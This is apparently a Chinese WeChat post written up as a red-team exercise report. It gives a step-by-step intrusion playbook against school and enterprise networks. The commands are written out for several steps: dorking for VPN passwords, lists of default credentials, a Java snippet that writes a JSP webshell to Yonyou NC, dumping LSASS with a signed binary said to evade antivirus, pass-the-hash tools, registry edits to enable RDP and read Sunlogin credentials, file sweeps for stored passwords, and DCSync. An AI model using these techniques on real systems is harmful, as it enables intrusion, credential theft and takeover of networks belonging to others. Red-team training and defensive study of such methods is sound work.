点击上方[蓝字]，关注我们

本文仅用于技术讨论与学习，利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，文章作者及本公众号不为此承担任何责任。

资产发现

https://fofa.info/ 

https://quake.360.cn/

假如某个目标站点为xxxx.com ，我们可以通过不同的语法进行资产搜集，搜集的资产会更全面 这里以fofa为例

domain="xxxx.com"  
host="xxxx.com"  
header="xxxx.com"  
cert="xxxx.com"

敏感信息泄露

对于学校站点的信息搜集，一般来说外网能拿直接权限的点已经很少了，web应用大多是放在vpn后面，因此能弄到一个vpn账号可以说是事半功倍，这时候可以通过语法对此类信息进行挖掘

常用命令如下：

#google语法  
site:*.edu.cn intext: vpn | 用户名 | 密码 | 帐号 | 默认密码  
  
#github  
*.edu.cn password

在这次攻防演练里，也是幸运找到了某站点VPN的默认口令，使用的是 姓名拼音/12345678 弱口令

默认口令

对于部分站点，在搭建完成后可能没有更改默认账号密码，这时候可以尝试使用默认账密登录

下面列举一些常见的web站点默认口令

账号：  
admin administrator root user test  
  
密码：  
admin admin123 123456 123 test root

对于一些应用广泛的系统，可以通过google语法搜索其默认密码

这里通过sysadmin/1 成功登入泛微后台

常见漏洞利用

对于多目标的攻防演练，个人比惯把目标子域url搜集好，去重后批量导进去指纹识别工具，如Goby、fofahub

从指纹识别结果里筛选出重要资产进行突破，使用已知漏洞或day进行攻击

以下为一些批量漏洞利用工具：

https://github.com/Anonymous-ghost/AttackWebFrameworkTools-5.0 https://github.com/d3ckx1/Fvuln https://github.com/W01fh4cker/Serein

框架类的如log4j、shiro、struts2等

OA类的如致远、泛微、用友、蓝凌等，这里也是找到了目标的用友nc站点

用友nc写shell

2、再把输出结果进行url编码

3、payload字段如下，这里写入默认路径为 webapps/nc_web ，实战中灵活应变

String keyWord = URLDecoder.decode("xxxxxx（填入生成内容）xxxxxx", "utf-8");    
BufferedWriter out = new BufferedWriter(new FileWriter("/webapps/nc\_web/test.jsp"));  
out.write(keyWord);  
out.close();

这里直接写入哥斯拉马，连接成功

通过dnslog测试有回显，这里有个注意点：使用 http://dnslog.cn/ 部分站点会拦截，可以换多个dnslog平台测试

隧道搭建

ping了一下发现机器出网，可以上frp搭建反向代理隧道

proxifier配置相应的端口账密便可以进入内网

横向思路

1、优先拿运维机器，一般存放着大量的账号密码信息

2、其次是集权设备，Vcenter、堡垒机、天擎这些，有day上day，没day寻找其他方法

3、有域的情况下，争取拿到域管hash，或者通过已知漏洞拿下域控

横向移动

在扫描之前，可以先通过netspy筛选可达的网段再进行扫描

https://github.com/shmilylty/netspy

接着上fscan对可达各个C段开扫，追求效率可只扫描22、80、443、445、1433、8080等重点端口

由于扫描会引起安全设备告警，因此横向尽可能在一小时内结束，避免入口机器被关机下线，对于拿到的机器可以通过计划任务进行维权，尽可能多拿几台机器保证口子不会掉，拿到机器后继续做信息搜集，网段，机器信息，敏感文件，xshell、navicat密码等常规的这里就不细说了

dump lssas

正常没有杀软我们可以通过mimikatz抓取密码

但很多时候mimikatz会被拦截，这时候可以通过一些LOLBINS方法dump出来本地解这里使用的dump64.exe为白程序，位置位于

C:\Program Files (x86)\Microsoft Visual Studio\Installer\Feedback\
dump64.exe pid c:\\users\\xxx\\Desktop\\out.dmp

测试可过360和火绒

密码复用

08机器之前可以抓到明文，抓不到明文可以尝试到cmd5上进行破解，破解率较高

https://www.cmd5.com https://www.somd5.com

获取密码之后可以通过超级弱口令工具进行密码复用爆破，拿着获取的密码重新组合字典，对网段内的机器进行爆破，这次也是成功拿下了几十台机器

若hash解不出来，这时候我们可以根据开放的端口进行PTH，下面列举一些

wmiexec  135端口  
psexec   445端口  
evil-winrm   5985端口

向日葵读取密码

拿到机器的账号密码之后，若机器开启了3389端口可以选择rdp远程桌面过去，没开的话可以开启3389端口进行远程连接

#执行以下命令操作注册表来开启机器3389远程桌面服务  
REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal" "Server /v fDenyTSConnections /t REG\_DWORD /d 00000000 /f  
#使用以下命令添加防火墙放行策略  
netsh firewall add portopening protocol = TCP port = 3389 name = rdp  

但如果是正常办公时间，贸然登录过去会很容易引起对方的发现，若进程中有sunlogin进程，可以读取识别码和验证码，通过向日葵连接相对比较隐蔽注册表读取配置信息：

reg query HKEY\_USERS\\.DEFAULT\\Software\\Oray\\SunLogin\\SunloginClient\\SunloginInfo  
reg query HKEY\_USERS\\.DEFAULT\\Software\\Oray\\SunLogin\\SunloginClient\\SunloginGreenInfo  
向日葵默认配置文件路径:  
安装版：C:\\Program Files\\Oray\\SunLogin\\SunloginClient\\config.ini  
便携版：C:\\ProgramData\\Oray\\SunloginClient\\config.ini  
本机验证码参数：encry\_pwd  
本机识别码参数：fastcode(去掉开头字母)  
sunlogincode：判断用户是否登录状态

读注册表：

读默认配置文件：fastcode去掉前面的数字k为本机识别码278263893

使用脚本进行解密获得本机验证码

运维机

横向的时候优先拿运维机，一般运维机存储着大量的账号密码信息，比如这次无意中发现的运维机器使用的是弱口令administrator/111111

另外还可以通过cs插件查看机器历史登录IP对运维人员进行锁定

拿下后可通过命令行快速收集服务器、网络拓扑、密码本、公司信息等重要文件。

dir /a /s /b d:\\" \*.txt"   
dir /a /s /b d:\\"\* pass \*"   
dir /a /s /b d:\\"\* login \*"   
dir /a /s /b d:\\"\* user \*"  
dir /a /s /b c:\\password.txt  
dir /a /s /b c:\\\*.conf \*.ini\* .inc\* .config   
dir /a /s /b c:\\conf.\* config.\*   
dir /a /s /b c:\\\*.txt \*.xls\* .xlsx\* .docx | findstr "拓扑"  
dir /a /s /b c:\\\*.conf \*.ini\* .inc\* .config | findstr "运维"  
dir /a /s /b c:\\\*.txt \*.xls\* .xlsx\* .docx | findstr "密码" >C:\\Users\\1.txt  

最后收集了一堆密码本，可登录到各重要系统：

H3C堡垒机

禅道

域控

1、通过fscan扫描的时候可以检索AD关键字发现域控

[*]192.168.10.38 #非真实域控ip  
   [->]D1-Prod-AD-P01  
   [->]192.168.10.38  
     
[*]192.168.10.20 #非真实域控ip  
   [->]AD  
   [->]192.168.10.20

net group "domain admins" /domain  
dcsync domain xxxx  
shell net user xxxx  
shell net user xxxx /active:yes /domain

云管平台

通过运维机的xshell查找历史记录拿下了主备数据库，然后执行sql语句成功获取出了云管平台的hash

到cmd5上进行解密，一块钱拿下云管平台很划算

但某些系统加密方式不是使用md5的，比如之前碰到的一些系统使用的是Bcrypt加密方式，像这种不可逆的加密方式可以通过替换hash进行登录

$2a$10$z0hHT9rltH59VvcazrSzOuVDNr05shwja1aZmD8ctzDbuNNvdpNIS

官网

当我们拿到集权设备后，一般里面会有靶标系统或核心系统，这些分数是很高的，这次演练某目标就是通过云管平台登录官网机器，抓取浏览器密码成功获取后台密码，成功拿下官网控制权

gitlab仓库

根据评分规则刷完路径分之后，可以根据目标性质找一些核心关键的系统跟裁判battle，像这种存有大量代码的仓库可以作为重大成果进行提交

关注福利：

回复“app" 获取  app渗透和app抓包教程

回复“渗透字典" 获取 针对一些字典重新划分处理，收集了几个密码管理字典生成器用来扩展更多字典的仓库。

回复“书籍" 获取 网络安全相关经典书籍电子版pdf

回复“资料" 获取 网络安全、渗透测试相关资料文档